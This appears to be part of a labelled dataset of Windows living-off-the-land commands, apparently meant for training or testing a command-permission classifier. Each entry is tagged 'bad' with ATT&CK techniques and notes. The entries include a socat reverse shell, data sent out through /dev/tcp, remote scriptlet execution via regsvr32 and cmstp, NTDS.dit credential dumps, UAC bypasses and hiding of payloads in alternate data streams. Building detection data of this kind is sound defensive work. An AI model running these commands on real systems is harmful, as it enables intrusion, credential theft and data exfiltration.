cowWhySo/permission-command-corpus huggingface dataset:
Command: xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: COM
Source rule: Xwizard.exe
Notes: Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.
Command: xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Xwizard.exe
Notes: Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.
Command: odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.008, Execute: DLL
Source rule: Odbcconf.exe
Notes: Execute DllRegisterServer from DLL specified.
Command: odbcconf INSTALLDRIVER "lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2" odbcconf configsysdsn "lolbas-project" "DSN=lolbas-project"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.008, Execute: DLL
Source rule: Odbcconf.exe
Notes: Install a driver and load the DLL. Requires administrator privileges.
Command: odbcconf -f {PATH:.rsp}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.008
Source rule: Odbcconf.exe
Notes: Load DLL specified in target .RSP file. See the Code Sample section for an example .RSP file.
Command: esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Esentutl.exe
Notes: Copies the source VBS file to the destination VBS file.
Command: esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Esentutl.exe
Notes: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
Command: esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Esentutl.exe
Notes: Copies the source Alternate Data Stream (ADS) to the destination EXE.
Command: esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Esentutl.exe
Notes: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
Command: esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Esentutl.exe
Notes: Copies the source EXE to the destination EXE file
Command: esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server
ATT&CK tags: T1003.003
Source rule: Esentutl.exe
Notes: Copies a (locked) file using Volume Shadow Copy
Command: Register-cimprovider -path {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: DLL
Source rule: Register-cimprovider.exe
Notes: Load the target .DLL.
Command: setres.exe -w 800 -h 600
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
ATT&CK tags: T1218, Execute: EXE
Source rule: Setres.exe
Notes: Sets the resolution and then launches 'choice' command from the working directory.
Command: Pcwrun.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE
Source rule: Pcwrun.exe
Notes: Open the target .EXE file with the Program Compatibility Wizard.
Command: Pcwrun.exe /../../$(calc).exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Pcwrun.exe
Notes: Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
Command: write.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11 (before 24H2)
ATT&CK tags: T1218, Execute: EXE, Requires: Registry Change
Source rule: write.exe
Notes: Executes a binary provided in default value of `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe`.
Command: cipher /w:{PATH_ABSOLUTE:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Tamper
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1485
Source rule: Cipher.exe
Notes: Zero out a file
Command: cipher.exe /e {PATH_ABSOLUTE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Tamper
Platform: Windows 10
ATT&CK tags: T1562
Source rule: Cipher.exe
Notes: Encrypt a file
Command: psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Reconnaissance
Platform: since Windows 7 (client) / Windows 2008 R2
ATT&CK tags: T1113
Source rule: Psr.exe
Notes: Record a user screen without creating a GUI. You should use "psr.exe /stop" to stop recording and create output file.
Command: Ldifde -i -f {PATH:.ldf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Server with AD Domain Services role,  Windows 10 with AD LDS role.
ATT&CK tags: T1105
Source rule: Ldifde.exe
Notes: Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.
Command: bash.exe -c "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1202, Execute: CMD
Source rule: Bash.exe
Notes: Executes executable from bash.exe
Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1202, Execute: CMD
Source rule: Bash.exe
Notes: Executes a reverse shell
Command: bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1202, Execute: CMD
Source rule: Bash.exe
Notes: Exfiltrate data
Command: bash.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Bash.exe
Notes: When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
Command: regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.010, Execute: SCT, Execute: Remote
Source rule: Regsvr32.exe
Notes: Execute the specified remote .SCT script with scrobj.dll.
Command: regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.010, Execute: SCT
Source rule: Regsvr32.exe
Notes: Execute the specified local .SCT script with scrobj.dll.
Command: regsvr32.exe /s {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.010, Execute: DLL
Source rule: Regsvr32.exe
Notes: Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.
Command: regsvr32.exe /u /s {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.010, Execute: DLL
Source rule: Regsvr32.exe
Notes: Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.
Command: HH.exe {REMOTEURL:.bat}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Execute: EXE, Application: GUI
Source rule: Hh.exe
Notes: Open the target batch script with HTML Help.
Command: HH.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.001, Execute: EXE, Application: GUI
Source rule: Hh.exe
Notes: Executes specified executable with HTML Help.
Command: HH.exe {REMOTEURL:.chm}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.001, Execute: CMD, Execute: CHM, Execute: Remote
Source rule: Hh.exe
Notes: Executes a remote .chm file which can contain commands.
Command: print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Print.exe
Notes: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Print.exe
Notes: Copy file from source to destination
Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Print.exe
Notes: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
Command: start ms-appinstaller://?source={REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: AppInstaller.exe
Notes: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
Command: wsreset.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1548.002
Source rule: Wsreset.exe
Notes: During startup, wsreset.exe checks the registry value HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command for the command to run. Binary will be executed as a high-integrity process without a UAC prompt being displayed to the user.
Command: certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Server 2022
ATT&CK tags: T1218, Execute: DLL
Source rule: CertOC.exe
Notes: Loads the target DLL file
Command: certoc.exe -GetCACAPS {REMOTEURL:.ps1}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Server 2022
ATT&CK tags: T1105
Source rule: CertOC.exe
Notes: Downloads text formatted files
Command: ATBroker.exe /start malware
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE
Source rule: Atbroker.exe
Notes: Start a registered Assistive Technology (AT).
Command: cmdkey /list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Credentials
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1078
Source rule: Cmdkey.exe
Notes: List cached credentials
Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Bitsadmin.exe
Notes: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.
Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Bitsadmin.exe
Notes: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1105
Source rule: Bitsadmin.exe
Notes: Command for copying cmd.exe to another folder
Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218
Source rule: Bitsadmin.exe
Notes: One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
Command: sftp -o ProxyCommand="{CMD}" .
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Sftp.exe
Notes: Spawns ssh.exe which in turn spawns the specified command line. See also this project's entry for ssh.exe.
Command: mmc.exe -Embedding {PATH_ABSOLUTE:.msc}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 (and possibly earlier versions), Windows 11
ATT&CK tags: T1218.014, Execute: COM
Source rule: Mmc.exe
Notes: Launch a 'backgrounded' MMC process and invoke a COM payload
Command: mmc.exe gpedit.msc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10 (and possibly earlier versions), Windows 11
ATT&CK tags: T1218.014, Execute: DLL
Source rule: Mmc.exe
Notes: Load an arbitrary payload DLL by configuring COR Profiler registry settings and launching MMC to bypass UAC.
Command: regsvcs.exe {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.009, Execute: DLL (.NET)
Source rule: Regsvcs.exe
Notes: Loads the target .NET DLL file and executes the RegisterClass function.
Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: Aspnet_Compiler.exe
Notes: Execute C# code with the Build Provider and proper folder structure in place.
Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Expand.exe
Notes: Copies source file to destination.
Command: expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Expand.exe
Notes: Copies source file to destination.
Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Expand.exe
Notes: Copies source file to destination Alternate Data Stream (ADS)
Command: control.exe {PATH_ABSOLUTE}:evil.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.002, Execute: DLL
Source rule: Control.exe
Notes: Execute evil.dll which is stored in an Alternate Data Stream (ADS).
Command: control.exe {PATH_ABSOLUTE:.cpl}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.002, Execute: DLL
Source rule: Control.exe
Notes: Execute .cpl file. A CPL is a DLL file with CPlApplet export function)
Command: wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server
ATT&CK tags: T1003.003
Source rule: wbadmin.exe
Notes: Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
Command: wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows Server
ATT&CK tags: T1003.003
Source rule: wbadmin.exe
Notes: Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.
Command: cmdl32 /vpn /lan %cd%\config
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: cmdl32.exe
Notes: Download a file from the web address specified in the configuration file. The downloaded file will be in %TMP% under the name VPNXXXX.tmp where "X" denotes a random number or letter.
Command: regasm.exe {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.009, Execute: DLL (.NET)
Source rule: Regasm.exe
Notes: Loads the target .NET DLL file and executes the RegisterClass function.
Command: regasm.exe /U {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.009, Execute: DLL (.NET)
Source rule: Regasm.exe
Notes: Loads the target .DLL file and executes the UnRegisterClass function.
Command: provlaunch.exe LOLBin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
ATT&CK tags: T1218, Execute: CMD
Source rule: Provlaunch.exe
Notes: Executes command defined in the Registry. Requires 3 levels of the key structure containing some keywords. Such keys may be created with two reg.exe commands, e.g. `reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0` and `reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe`. Registry keys are deleted after successful execution.
Command: ieexec.exe {REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1105, Execute: Remote, Execute: EXE (.NET)
Source rule: Ieexec.exe
Notes: Downloads and executes executable from the remote server.
Command: cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.003, Execute: INF
Source rule: Cmstp.exe
Notes: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Command: cmstp.exe /ni /s {REMOTEURL:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218.003, Execute: INF, Execute: Remote
Source rule: Cmstp.exe
Notes: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Command: cmstp.exe /nf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.003, Execute: DLL, Requires: Registry Change
Source rule: Cmstp.exe
Notes: cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.
Command: conhost.exe {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Conhost.exe
Notes: Execute a command line with conhost.exe as parent process
Command: conhost.exe --headless {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Conhost.exe
Notes: Execute a command line with conhost.exe as parent process
Command: csc.exe -out:{PATH:.exe} {PATH:.cs}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: Csc.exe
Notes: Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to the specified .exe path.